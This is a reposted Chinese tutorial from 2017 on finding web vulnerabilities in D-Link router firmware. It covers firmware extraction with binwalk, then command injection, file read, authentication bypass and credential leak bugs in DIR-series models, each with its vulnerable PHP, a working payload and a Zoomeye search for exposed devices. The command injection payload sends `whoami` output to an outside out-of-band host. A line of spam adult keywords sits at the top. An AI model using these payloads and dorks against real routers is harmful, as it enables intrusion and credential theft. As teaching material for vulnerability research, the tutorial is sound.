亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

淺談D-Link系列路由器漏洞挖掘入門(mén)

  發(fā)布時(shí)間:2017-11-07 14:44:51   作者:Knownsec知道創(chuàng)宇   我要評(píng)論
這篇文章主要介紹了淺談D-Link系列路由器漏洞挖掘入門(mén),詳細(xì)的介紹了D-Link系列的各種漏洞,具有一定的參考價(jià)值,有興趣的可以了解一下

前幾天去上海參加了geekpwn,看著大神們一個(gè)個(gè)破解成功各種硬件,我只能在下面喊 6666,特別羨慕那些大神們。所以回來(lái)就決定好好研究一下路由器,爭(zhēng)取跟上大神們的步伐??淳W(wǎng)上公開(kāi)的D-Link系列的漏洞也不少,那就從D-Link路由器漏洞開(kāi)始學(xué)習(xí)。

 一、準(zhǔn)備工作

既然要挖路由器漏洞,首先要搞到路由器的固件。 D-Link路由器固件下載地址:ftp://ftp2.dlink.com/PRODUCTS/下載完固件發(fā)現(xiàn)是個(gè)壓縮包,解壓之后里面還是有一個(gè)bin文件。聽(tīng)說(shuō)用binwalk就可以解壓。kali-linux自帶binwalk,但是缺少一些依賴(lài),所以還是編譯安裝了一下。

$ sudo apt-get update  
$ sudo apt-get install build-essential autoconf git  
   
 # https://github.com/devttys0/binwalk/blob/master/INSTALL.md  
 $ git clone https://github.com/devttys0/binwalk.git  
 $ cd binwalk  
   
 # python2.7安裝  
 $ sudo python setup.py install  
   
 # python2.7手動(dòng)安裝依賴(lài)庫(kù)  
 $ sudo apt-get install python-lzma  
   
 $ sudo apt-get install python-crypto  
   
 $ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip  
 $ sudo pip install pyqtgraph  
   
 $ sudo apt-get install python-pip  
 $ sudo pip install capstone  
   
 # Install standard extraction utilities(必選)  
 $ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools  
   
 # Install sasquatch to extract non-standard SquashFS images(必選)  
 $ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev  
 $ git clone https://github.com/devttys0/sasquatch  
 $ (cd sasquatch && ./build.sh)  
   
 # Install jefferson to extract JFFS2 file systems(可選)  
 $ sudo pip install cstruct  
 $ git clone https://github.com/sviehb/jefferson  
 $ (cd jefferson && sudo python setup.py install)  
   
 # Install ubi_reader to extract UBIFS file systems(可選)  
 $ sudo apt-get install liblzo2-dev python-lzo  
 $ git clone https://github.com/jrspruitt/ubi_reader  
 $ (cd ubi_reader && sudo python setup.py install)  
   
 # Install yaffshiv to extract YAFFS file systems(可選)  
 $ git clone https://github.com/devttys0/yaffshiv  
 $ (cd yaffshiv && sudo python setup.py install)  
   
 # Install unstuff (closed source) to extract StuffIt archive files(可選)  
 $ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv  
 $ sudo cp bin/unstuff /usr/local/bin/

按照上面的命令就可以完整的安裝binwalk了,這樣就可以解開(kāi)市面上的大部分固件包。 然后用 binwalk -Me 固件包名稱(chēng)  解固件,然后我們會(huì)得到以下劃線(xiàn)開(kāi)頭的名稱(chēng)的文件夾,文件夾里 squashfs-root 文件夾,就是路由器的完整固件包。 漏 洞 挖 掘 此文章針對(duì)歷史路由器的web漏洞進(jìn)行分析,路由器的web文件夾 一般就在 suashfs-root/www 或者  suashfs-root/htdocs 文件夾里。路由器固件所使用的語(yǔ)言一般為 asp,php,cgi,lua 等語(yǔ)言。這里主要進(jìn)行php的代碼審計(jì)來(lái)挖掘漏洞。

二、D-Link DIR-645 & DIR-815 命令執(zhí)行漏洞

Zoomeye dork:DIR-815 or DIR-645

這里以 D-Link DIR-645固件為例,解開(kāi)固件進(jìn)入 suashfs-root/htdocs 文件夾。這個(gè)漏洞出現(xiàn)在 diagnostic.php 文件。直接看代碼

  HTTP/1.1 200 OK        
    Content-Type: text/xml        
            
    <?        
    if ($_POST["act"] == "ping")        
    {        
        set("/runtime/diagnostic/ping", $_POST["dst"]);        
        $result = "OK";        
    }        
    else if ($_POST["act"] == "pingreport")        
    {        
        $result = get("x", "/runtime/diagnostic/ping");        
    }        
    echo '<?xml version="1.0"?>\n';        
    ?><diagnostic>        
        <report><?=$result?></report>        
    </diagnostic>

分析代碼可以看到,這里沒(méi)有進(jìn)行權(quán)限認(rèn)證,所以可以直接繞過(guò)登錄。繼續(xù)往下看,set(“/runtime/diagnostic/ping”, $_POST["dst"]); 這段代碼就是造成漏洞的關(guān)鍵代碼。參數(shù) dst 沒(méi)有任何過(guò)濾直接進(jìn)入到了 ping的命令執(zhí)行里,導(dǎo)致任意命令執(zhí)行漏洞。繼續(xù)往下看 $result = “OK”; 無(wú)論是否執(zhí)行成功,這里都會(huì)顯示OK。所以這是一個(gè)盲注的命令執(zhí)行。以此構(gòu)造payload

url = 'localhost/diagnostic.php' 
data = "act=ping&dst=%26 ping `whoami`.ceye.io%26"

因?yàn)槭敲ぷ⒌拿顖?zhí)行,所以這里需要借助一個(gè)盲打平臺(tái)(如:ceye),來(lái)驗(yàn)證漏洞是否存在。

三、D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 信息泄露漏洞

Zoomeye dork:DIR-300 or DIR-600

這里以 D-Link DIR-300固件為例,解開(kāi)固件進(jìn)入 suashfs-root/www 文件夾。

漏洞出現(xiàn)在 /model/__show_info.php 文件。

<?

if($REQUIRE_FILE == "var/etc/httpasswd" || $REQUIRE_FILE == "var/etc/hnapasswd")

{

echo "<title>404 Not Found</title>\n";

echo "<h1>404 Not Found</h1>\n";

}

else

{

if($REQUIRE_FILE!="")

{

require($LOCALE_PATH."/".$REQUIRE_FILE);

}

else

{

echo $m_context;

echo $m_context2;//jana added

if($m_context_next!="")

{

echo $m_context_next;

}

echo "<br><br><br>\n";

if($USE_BUTTON=="1")

{echo "<input type=button name='bt' value='".$m_button_dsc."' onclick='click_bt();'>\n"; }

}

} ?>

這里看到已經(jīng)禁止了 $REQUIRE_FILE 的參數(shù)為 var/etc/httpasswd 和 var/etc/hnapasswd 。這么一看無(wú)法獲取賬號(hào)密碼。但是我們可以從根路徑開(kāi)始配置  httpasswd 的路徑,就可以繞過(guò)這個(gè)過(guò)濾了。

payload:

localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

這里設(shè)置 REQUIRE_FILE=/var/etc/httpasswd 成功繞過(guò)上面的 if 判斷,進(jìn)行任意文件讀取。

四、D-Link DIR-300 & DIR-320 & DIR-615 權(quán)限繞過(guò)漏洞

Zoomeye dork:DIR-300 or DIR-615

這里以 D-Link DIR-300固件為例,解開(kāi)固件進(jìn)入 suashfs-root/www 文件夾

默認(rèn)情況下,Web界面中的所有頁(yè)面都需要進(jìn)行身份驗(yàn)證,但是某些頁(yè)面(如 登錄頁(yè)面) 必須在認(rèn)證之前訪問(wèn)。 為了讓這些頁(yè)面不進(jìn)行認(rèn)證,他們?cè)O(shè)置了一個(gè)PHP變量NO_NEED_AUTH:

<?

$MY_NAME ="login_fail";

$MY_MSG_FILE=$MY_NAME.".php";

$NO_NEED_AUTH="1";

$NO_SESSION_TIMEOUT="1";

require("/www/model/__html_head.php");

?>

此漏洞觸發(fā)的原因在于 全局文件 _html_head.php 。

    <?
    /* vi: set sw=4 ts=4: */
    if ($NO_NEED_AUTH!="1")
    {
     /* for POP up login. */
    // require("/www/auth/__authenticate_p.php");
    // if ($AUTH_RESULT=="401") {exit;}
     /* for WEB based login */
     require("/www/auth/__authenticate_s.php");
     if($AUTH_RESULT=="401") {require("/www/login.php"); exit;}
     if($AUTH_RESULT=="full") {require("/www/session_full.php"); exit;}
     if($AUTH_RESULT=="timeout") {require("/www/session_timeout.php"); exit;}
     $AUTH_GROUP=fread("/var/proc/web/session:".$sid."/user/group");
    }
    require("/www/model/__lang_msg.php");
    ?>

這里我們看到 $NO_NEED_AUTH!=”1″ 如果 $NO_NEED_AUTH 不為 1 則進(jìn)入身份認(rèn)證。如果我們把$NO_NEED_AUTH 值設(shè)置為 1 那就繞過(guò)了認(rèn)證進(jìn)行任意操作。

payload:

localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0

這里 AUTH_GROUP=0 表示admin權(quán)限

 

五、D-Link DIR-645 信息泄露漏洞

Zoomeye dork:DIR-645

這里以 D-Link DIR-300固件為例,解開(kāi)固件進(jìn)入 suashfs-root/htdocs 文件夾

D-Link DIR-645 getcfg.php 文件由于過(guò)濾不嚴(yán)格導(dǎo)致信息泄露漏洞。

    $SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
    TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
    $SERVICE_INDEX = 0;
    while ($SERVICE_INDEX < $SERVICE_COUNT)
    {
        $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
        TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
        if ($GETCFG_SVC!="")
        {
            $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
            /* GETCFG_SVC will be passed to the child process. */
            if (isfile($file)=="1") dophp("load", $file);
        }
        $SERVICE_INDEX++;
    }

這里我們可以看到 $GETCFG_SVC 沒(méi)有任何過(guò)濾直接獲取了 POST 傳遞過(guò)來(lái)的 SERVICES 的值。如果  $GETCFG_SVC 不為空,則進(jìn)行文件讀取。這里我們就可以讀取存儲(chǔ)此設(shè)備信息的DEVICE.ACCOUNT.xml.php 文件。

payload:

http://localhost/getcfg.php

post:SERVICES=DEVICE.ACCOUNT

 

六、總結(jié)

可以發(fā)現(xiàn)此篇文章所提及的漏洞都是web領(lǐng)域的常見(jiàn)漏洞,如權(quán)限繞過(guò),信息泄露,命令執(zhí)行等漏洞。由于路由器的安全沒(méi)有得到足夠的重視,此文涉及到的漏洞都是因?yàn)閷?duì)參數(shù)過(guò)濾不嚴(yán)格所導(dǎo)致的。

路由器的漏洞影響還是很廣泛的,在此提醒用戶(hù),及時(shí)更新路由器固件,以此避免各種入侵事件,以及個(gè)人信息的泄露。

以上就是本文的全部?jī)?nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。

相關(guān)文章

  • 那些默默坑了大家十年的路由器漏洞大盤(pán)點(diǎn)

    前些天在央視315晚會(huì)曝光無(wú)線(xiàn)路由器盜取用戶(hù)賬戶(hù)密碼之后,Wi-Fi安全才逐漸成為熱點(diǎn)話(huà)題。下面小編就為大家盤(pán)點(diǎn)一下那些默默坑了大家十年的路由器漏洞,看看你被坑了多少
    2015-03-21

最新評(píng)論